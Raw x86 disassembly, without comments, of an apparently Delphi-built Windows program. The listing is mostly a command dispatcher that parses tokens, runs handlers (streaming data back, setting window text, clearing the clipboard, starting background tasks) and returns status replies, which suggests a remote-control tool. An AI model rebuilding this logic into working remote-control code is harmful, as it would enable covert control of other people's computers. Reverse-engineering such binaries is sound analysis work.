call fcn.0040218c
mov dword [ebp - 0x34], eax
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x34]
call fcn.00415f04
push 0
push 0
mov eax, dword [ebp - 0x34]
call fcn.004148c4
xor eax, eax
push ebp
push 0x419094
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x34]
call fcn.004148a4
mov esi, eax
lea edx, [ebp - 0x8085]
mov ecx, 0x8001
mov eax, dword [ebp - 0x34]
mov ebx, dword [eax]
call dword [ebx + 8]
mov ebx, eax
test ebx, ebx
jle 0x419012
lea edx, [ebp - 0x8085]
mov eax, dword [0x427470]
mov eax, dword [eax]
mov ecx, ebx
call fcn.00408d1c
mov ecx, eax
cmp ecx, ebx
jge 0x41905f
lea eax, [ecx + esi]
cdq
push edx
push eax
mov eax, dword [ebp - 0x34]
call fcn.004148c4
jmp 0x419012
mov eax, dword [ebp - 0x34]
call fcn.004148a4
push edx
push eax
mov eax, dword [ebp - 0x34]
call fcn.004148d8
cmp edx, dword [esp + 4]
jne 0x41907a
cmp eax, dword [esp]
pop edx
pop eax
jne 0x419012
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41909b
mov eax, dword [ebp - 0x34]
call fcn.004021bc
ret
lea eax, [ebp - 0x8240]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x8240]
mov edx, 0x41f6f8
call fcn.00402da4
jne 0x4191ca
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
lea eax, [ebp - 0x8244]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x8244]
call fcn.00406cd4
mov dword [0x429ca4], eax
mov ebx, dword [0x427418]
mov ebx, dword [ebx]
mov eax, dword [0x429ca4]
call ebx
mov eax, dword [0x4273d8]
mov eax, dword [eax]
xor ecx, ecx
xor edx, edx
call fcn.004055fc
push 5
call sub.kernel32.dll_Sleep
push 0x41f6ac
mov eax, dword [0x4274c8]
push dword [eax + 0x24]
push 0x41f0d8
push 0x41f350
lea eax, [ebp - 8]
mov edx, 4
call fcn.00402d20
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004154fc
mov eax, dword [ebp - 0x44]
call fcn.00405620
jmp 0x41f065
lea eax, [ebp - 0x8248]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x8248]
mov edx, 0x41f710
call fcn.00402da4
jne 0x4192ba
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
lea eax, [ebp - 0x824c]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x824c]
call fcn.00406cd4
mov dword [0x429ca4], eax
mov ebx, dword [0x427418]
mov ebx, dword [ebx]
mov eax, dword [0x429ca4]
call ebx
mov eax, dword [0x42755c]
mov eax, dword [eax]
xor ecx, ecx
xor edx, edx
call fcn.004055fc
push 5
call sub.kernel32.dll_Sleep
push 0x41f6ac
mov eax, dword [0x4274c8]
push dword [eax + 0x28]
push 0x41f0d8
push 0x41f350
lea eax, [ebp - 8]
mov edx, 4
call fcn.00402d20
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004154fc
mov eax, dword [ebp - 0x44]
call fcn.00405620
jmp 0x41f065
lea eax, [ebp - 0x8250]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x8250]
mov edx, 0x41f724
call fcn.00402da4
jne 0x4193aa
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
lea eax, [ebp - 0x8254]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x8254]
call fcn.00406cd4
mov dword [0x429ca4], eax
mov ebx, dword [0x427418]
mov ebx, dword [ebx]
mov eax, dword [0x429ca4]
call ebx
mov eax, dword [0x427584]
mov eax, dword [eax]
xor ecx, ecx
xor edx, edx
call fcn.004055fc
push 5
call sub.kernel32.dll_Sleep
push 0x41f6ac
mov eax, dword [0x4274c8]
push dword [eax + 0x34]
push 0x41f0d8
push 0x41f350
lea eax, [ebp - 8]
mov edx, 4
call fcn.00402d20
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004154fc
mov eax, dword [ebp - 0x44]
call fcn.00405620
jmp 0x41f065
lea eax, [ebp - 0x8258]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x8258]
mov edx, 0x41f738
call fcn.00402da4
jne 0x41949a
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
lea eax, [ebp - 0x825c]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x825c]
call fcn.00406cd4
mov dword [0x429ca4], eax
mov ebx, dword [0x427418]
mov ebx, dword [ebx]
mov eax, dword [0x429ca4]
call ebx
mov eax, dword [0x4275b4]
mov eax, dword [eax]
xor ecx, ecx
xor edx, edx
call fcn.004055fc
push 5
call sub.kernel32.dll_Sleep
push 0x41f6ac
mov eax, dword [0x4274c8]
push dword [eax + 0x2c]
push 0x41f0d8
push 0x41f350
lea eax, [ebp - 8]
mov edx, 4
call fcn.00402d20
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004154fc
mov eax, dword [ebp - 0x44]
call fcn.00405620
jmp 0x41f065
lea eax, [ebp - 0x8260]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x8260]
mov edx, 0x41f750
call fcn.00402da4
jne 0x41958a
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
lea eax, [ebp - 0x8264]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x8264]
call fcn.00406cd4
mov dword [0x429ca4], eax
mov ebx, dword [0x427418]
mov ebx, dword [ebx]
mov eax, dword [0x429ca4]
call ebx
mov eax, dword [0x427590]
mov eax, dword [eax]
xor ecx, ecx
xor edx, edx
call fcn.004055fc
push 5
call sub.kernel32.dll_Sleep
push 0x41f6ac
mov eax, dword [0x4274c8]
push dword [eax + 0x30]
push 0x41f0d8
push 0x41f350
lea eax, [ebp - 8]
mov edx, 4
call fcn.00402d20
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004154fc
mov eax, dword [ebp - 0x44]
call fcn.00405620
jmp 0x41f065
lea eax, [ebp - 0x8268]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x8268]
mov edx, 0x41f768
call fcn.00402da4
jne 0x419633
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
mov eax, dword [0x427464]
mov eax, dword [eax]
xor ecx, ecx
xor edx, edx
call fcn.004055fc
push 5
call sub.kernel32.dll_Sleep
push 0x41f6ac
mov eax, dword [0x4274c8]
push dword [eax + 0x40]
push 0x41f0d8
push 0x41f350
lea eax, [ebp - 8]
mov edx, 4
call fcn.00402d20
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004154fc
mov eax, dword [ebp - 0x44]
call fcn.00405620
jmp 0x41f065
lea eax, [ebp - 0x826c]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x826c]
mov edx, 0x41f780
call fcn.00402da4
jne 0x419791
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
lea eax, [ebp - 0x8270]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x8270]
call fcn.00402e58
push eax
mov eax, dword [ebp - 0xc]
call fcn.00406cd4
push eax
call sub.user32.dll_SetWindowTextA
cmp eax, 1
sbb eax, eax
inc eax
cmp al, 1
jne 0x41974a
push 5
call sub.kernel32.dll_Sleep
push 0x41f6ac
mov eax, dword [0x4274c8]
push dword [eax + 0x38]
push 0x41f0d8
push 0x41f350
lea eax, [ebp - 8]
mov edx, 4
call fcn.00402d20
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004154fc
jmp 0x419784
push 5
call sub.kernel32.dll_Sleep
push 0x41f6ac
mov eax, dword [0x4274c8]
push dword [eax + 0x3c]
push 0x41f0d8
push 0x41f350
lea eax, [ebp - 8]
mov edx, 4
call fcn.00402d20
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004154fc
mov eax, dword [ebp - 0x44]
call fcn.00405620
jmp 0x41f065
lea eax, [ebp - 0x8274]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x8274]
mov edx, 0x41f798
call fcn.00402da4
jne 0x419865
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
lea eax, [ebp - 0x8278]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x8278]
call fcn.00406cd4
mov dword [0x429ca4], eax
mov eax, dword [0x429ca4]
call fcn.004051d4
push 0x41f6ac
mov eax, dword [0x4274c8]
push dword [eax + 0x48]
push 0x41f0d8
push 0x41f350
lea eax, [ebp - 8]
mov edx, 4
call fcn.00402d20
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004154fc
mov eax, dword [ebp - 0x44]
call fcn.00405620
jmp 0x41f065
lea eax, [ebp - 0x827c]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x827c]
mov edx, 0x41f7b0
call fcn.00402da4
jne 0x419939
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
lea eax, [ebp - 0x8280]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x8280]
call fcn.00406cd4
mov dword [0x429ca4], eax
mov eax, dword [0x429ca4]
call fcn.004051b8
push 0x41f6ac
mov eax, dword [0x4274c8]
push dword [eax + 0x44]
push 0x41f0d8
push 0x41f350
lea eax, [ebp - 8]
mov edx, 4
call fcn.00402d20
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004154fc
mov eax, dword [ebp - 0x44]
call fcn.00405620
jmp 0x41f065
lea eax, [ebp - 0x8284]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x8284]
mov edx, 0x41f7c4
call fcn.00402da4
jne 0x419b00
push 5
call sub.kernel32.dll_Sleep
push 0x41f7dc
mov eax, dword [0x4274c8]
push dword [eax + 8]
push 0x41f0d8
push 0x41f350
lea eax, [ebp - 8]
mov edx, 4
call fcn.00402d20
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004154fc
mov ebx, dword [0x4274b0]
mov ebx, dword [ebx]
lea eax, [ebp - 0xc]
call ebx
push 0x41f7f8
mov eax, dword [ebp - 0xc]
call fcn.00402c60
add eax, 4
lea edx, [ebp - 0x8288]
call fcn.00406bb8
push dword [ebp - 0x8288]
push 0x41f0d8
lea eax, [ebp - 8]
mov edx, 3
call fcn.00402d20
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004154fc
mov dl, 1
mov eax, dword [0x41465c]
call fcn.0040218c
mov dword [ebp - 0x34], eax
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x34]
call fcn.00415f04
push 0
push 0
mov eax, dword [ebp - 0x34]
call fcn.004148c4
xor eax, eax
push ebp
push 0x419ab2
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x34]
call fcn.004148a4
mov esi, eax
lea edx, [ebp - 0x8085]
mov ecx, 0x8001
mov eax, dword [ebp - 0x34]
mov ebx, dword [eax]
call dword [ebx + 8]
mov ebx, eax
test ebx, ebx
jle 0x419a30
lea edx, [ebp - 0x8085]
mov eax, dword [0x427470]
mov eax, dword [eax]
mov ecx, ebx
call fcn.00408d1c
mov ecx, eax
cmp ecx, ebx
jge 0x419a7d
lea eax, [ecx + esi]
cdq
push edx
push eax
mov eax, dword [ebp - 0x34]
call fcn.004148c4
jmp 0x419a30
mov eax, dword [ebp - 0x34]
call fcn.004148a4
push edx
push eax
mov eax, dword [ebp - 0x34]
call fcn.004148d8
cmp edx, dword [esp + 4]
jne 0x419a98
cmp eax, dword [esp]
pop edx
pop eax
jne 0x419a30
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x419ab9
mov eax, dword [ebp - 0x34]
call fcn.004021bc
ret
lea eax, [ebp - 0x828c]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x828c]
mov edx, 0x41f81c
call fcn.00402da4
jne 0x419ba0
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
lea eax, [ebp - 0x8290]
push eax
lea eax, [ebp - 0x8294]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x8294]
mov ebx, dword [0x4274a0]
mov ebx, dword [ebx]
or ecx, 0xffffffff
or edx, 0xffffffff
call ebx
mov eax, dword [ebp - 0x44]
call fcn.00405620
jmp 0x41f065
lea eax, [ebp - 0x8298]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x8298]
mov edx, 0x41f834
call fcn.00402da4
jne 0x419c3f
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
lea eax, [ebp - 0x829c]
push eax
lea eax, [ebp - 0x82a0]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x82a0]
mov ebx, dword [0x4274a0]
mov ebx, dword [ebx]
xor ecx, ecx
or edx, 0xffffffff
call ebx
mov eax, dword [ebp - 0x44]
call fcn.00405620
jmp 0x41f065
lea eax, [ebp - 0x82a4]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x82a4]
mov edx, 0x41f84c
call fcn.00402da4
jne 0x419d56
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
lea eax, [ebp - 0x82a8]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x82a8]
mov ebx, dword [0x42753c]
mov ebx, dword [ebx]
call ebx
cmp eax, 1
sbb eax, eax
inc eax
cmp al, 1
jne 0x419d0f
push 5
call sub.kernel32.dll_Sleep
push 0x41f7dc
mov eax, dword [0x4274c8]
push dword [eax + 0x58]
push 0x41f0d8
push 0x41f350
lea eax, [ebp - 8]
mov edx, 4
call fcn.00402d20
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004154fc
jmp 0x419d49
push 5
call sub.kernel32.dll_Sleep
push 0x41f7dc
mov eax, dword [0x4274c8]
push dword [eax + 0x5c]
push 0x41f0d8
push 0x41f350
lea eax, [ebp - 8]
mov edx, 4
call fcn.00402d20
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004154fc
mov eax, dword [ebp - 0x44]
call fcn.00405620
jmp 0x41f065
lea eax, [ebp - 0x82ac]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x82ac]
mov edx, 0x41f868
call fcn.00402da4
jne 0x419ee7
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
lea eax, [ebp - 0x14]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov ebx, dword [0x427580]
mov ebx, dword [ebx]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0xc]
call ebx
cmp eax, 1
sbb eax, eax
inc eax
cmp al, 1
jne 0x419ea0
push 5
call sub.kernel32.dll_Sleep
push 0x41f7dc
mov eax, dword [0x4274c8]
push dword [eax + 0x50]
push 0x41f0d8
push 0x41f350
lea eax, [ebp - 8]
mov edx, 4
call fcn.00402d20
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004154fc
jmp 0x419eda
push 5
call sub.kernel32.dll_Sleep
push 0x41f7dc
mov eax, dword [0x4274c8]
push dword [eax + 0x54]
push 0x41f0d8
push 0x41f350
lea eax, [ebp - 8]
mov edx, 4
call fcn.00402d20
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004154fc
mov eax, dword [ebp - 0x44]
call fcn.00405620
jmp 0x41f065
lea eax, [ebp - 0x82b0]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x82b0]
mov edx, 0x41f880
call fcn.00402da4
jne 0x41a115
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
mov ebx, dword [0x427518]
mov ebx, dword [ebx]
xor eax, eax
call ebx
cmp al, 1
jne 0x41a02d
lea eax, [ebp - 0x82b4]
call fcn.00406970
lea eax, [ebp - 0x82b4]
mov edx, 0x41f894
call fcn.00402c68
mov eax, dword [ebp - 0x82b4]
lea ecx, [ebp - 0xc]
lea edx, [ebp - 0x48]
call fcn.004057dc
lea eax, [ebp - 0x82b8]
call fcn.00406970
lea eax, [ebp - 0x82b8]
mov edx, 0x41f894
call fcn.00402c68
mov eax, dword [ebp - 0x82b8]
call fcn.00405e60
cmp dword [ebp - 0xc], 0
je 0x41f065
push 3
lea eax, [ebp - 0x82bc]
push eax
mov cx, 2
mov dx, 1
mov eax, dword [ebp - 0xc]
call fcn.00407350
mov edx, dword [ebp - 0x82bc]
lea eax, [ebp - 0xc]
call fcn.00402a7c
push 0x41f8a8
mov eax, dword [ebp - 0xc]
call fcn.00402c60
lea edx, [ebp - 0x82c0]
call fcn.00406bb8
push dword [ebp - 0x82c0]
push 0x41f0d8
push dword [ebp - 0xc]
push 0x41f0d8
push 0x41f350
lea eax, [ebp - 8]
mov edx, 6
call fcn.00402d20
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004154fc
lea eax, [ebp - 0xc]
call fcn.004029e4
jmp 0x41a108
mov ebx, dword [0x42761c]
mov ebx, dword [ebx]
call ebx
cmp al, 1
jne 0x41a0ec
lea eax, [ebp - 0x82c4]
call fcn.00406970
lea eax, [ebp - 0x82c4]
mov edx, 0x41f8cc
call fcn.00402c68
mov eax, dword [ebp - 0x82c4]
lea ecx, [ebp - 0xc]
lea edx, [ebp - 0x48]
call fcn.004057dc
lea eax, [ebp - 0x82c8]
call fcn.00406970
lea eax, [ebp - 0x82c8]
mov edx, 0x41f8cc
call fcn.00402c68
mov eax, dword [ebp - 0x82c8]
call fcn.00405e60
cmp dword [ebp - 0xc], 0
je 0x41f065
push 0x41f8e0
mov eax, dword [ebp - 0xc]
call fcn.00402c60
lea edx, [ebp - 0x82cc]
call fcn.00406bb8
push dword [ebp - 0x82cc]
push 0x41f0d8
push dword [ebp - 0xc]
push 0x41f350
lea eax, [ebp - 8]
mov edx, 5
call fcn.00402d20
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004154fc
lea eax, [ebp - 0xc]
call fcn.004029e4
jmp 0x41a108
lea eax, [ebp - 8]
mov edx, 0x41f904
call fcn.00402a7c
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004154fc
mov eax, dword [ebp - 0x44]
call fcn.00405620
jmp 0x41f065
lea eax, [ebp - 0x82d0]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x82d0]
mov edx, 0x41f91c
call fcn.00402da4
jne 0x41a18c
push 0
call sub.user32.dll_OpenClipboard
xor eax, eax
push ebp
push 0x41a178
push dword fs:[eax]
mov dword fs:[eax], esp
call sub.user32.dll_EmptyClipboard
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41a17f
call sub.user32.dll_CloseClipboard
ret
lea eax, [ebp - 0x82d4]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x82d4]
mov edx, 0x41f934
call fcn.00402da4
jne 0x41a22b
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
cmp dword [ebp - 0xc], 0
je 0x41f065
mov ebx, dword [0x427400]
mov ebx, dword [ebx]
mov eax, dword [ebp - 0xc]
call ebx
lea eax, [ebp - 0xc]
call fcn.004029e4
mov eax, dword [ebp - 0x44]
call fcn.00405620
jmp 0x41f065
lea eax, [ebp - 0x82d8]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x82d8]
mov edx, 0x41f94c
call fcn.00402da4
jne 0x41a3b2
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
lea eax, [ebp - 0x82dc]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x82dc]
mov edx, 0x41f95c
call fcn.00402da4
jne 0x41a302
cmp dword [0x429cbc], 0
jne 0x41f065
mov eax, 0x423538
xor ecx, ecx
xor edx, edx
call fcn.004055fc
lea eax, [ebp - 8]
mov edx, 0x41f96c
call fcn.00402a7c
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004154fc
mov eax, dword [ebp - 0x44]
mov dword [0x429cbc], eax
push 0x3e8
call sub.kernel32.dll_Sleep
jmp 0x41a2f6
lea eax, [ebp - 0x82e0]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x82e0]
mov edx, 0x41f984
call fcn.00402da4
jne 0x41a36a
cmp dword [0x429cbc], 0
je 0x41f065
mov eax, 0x429cec
mov edx, 0x41f998
call fcn.00402a38
mov eax, dword [0x429cbc]
call fcn.00405620
xor eax, eax
mov dword [0x429cbc], eax
jmp 0x41f065
lea eax, [ebp - 4]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
cmp dword [0x429cbc], 0
je 0x41f065
mov eax, 0x429cec
mov edx, dword [ebp - 4]
call fcn.00402a38
mov eax, dword [ebp - 0x44]
call fcn.00405620
jmp 0x41f065
lea eax, [ebp - 0x82e4]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x82e4]
mov edx, 0x41f9a8
call fcn.00402da4
jne 0x41a5a9
cmp dword [0x429cc0], 0
je 0x41a3ff
mov eax, dword [0x429cc0]
call fcn.00405620
mov eax, dword [ebp - 0x44]
mov dword [0x429cc0], eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
